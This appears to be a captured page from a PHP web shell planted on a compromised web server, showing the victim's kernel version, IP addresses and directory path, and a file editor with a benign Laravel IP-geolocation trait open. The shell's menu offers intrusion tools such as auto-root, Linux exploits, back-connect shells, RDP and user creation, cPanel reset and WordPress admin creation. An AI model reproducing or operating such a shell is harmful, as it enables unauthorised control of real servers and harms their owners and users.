Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 162.159.119.55
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
thecigaretteboxes.com /
app /
Http /
Traits /
[ HOME SHELL ]
Name
Size
Permission
Action
CommonService.php
1.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CommonService.php
<?php /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ namespace App\Http\Traits; use Illuminate\Support\Facades\Session; use ipinfo\ipinfo\IPinfo; trait CommonService { public function getCountryByIp(){ return $this->getCountryByIpInfo(); } public function getUserIP() { foreach (array('HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key){ if (array_key_exists($key, $_SERVER) === true){ foreach (explode(',', $_SERVER[$key]) as $ip){ $ip = trim($ip); // just to be safe if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false){ return $ip; } } } } return '39.53.154.99'; // return request()->ip(); } // get country code public function getCountryByIpInfo(){ $current_ip = $this->getUserIP(); $current_ip = $current_ip == '::1' ? '127.0.0.1' : $current_ip; $access_token = env("IPINFO_APP_KEY"); $client = new IPinfo($access_token); return $details = $client->getDetails($current_ip); } }
Close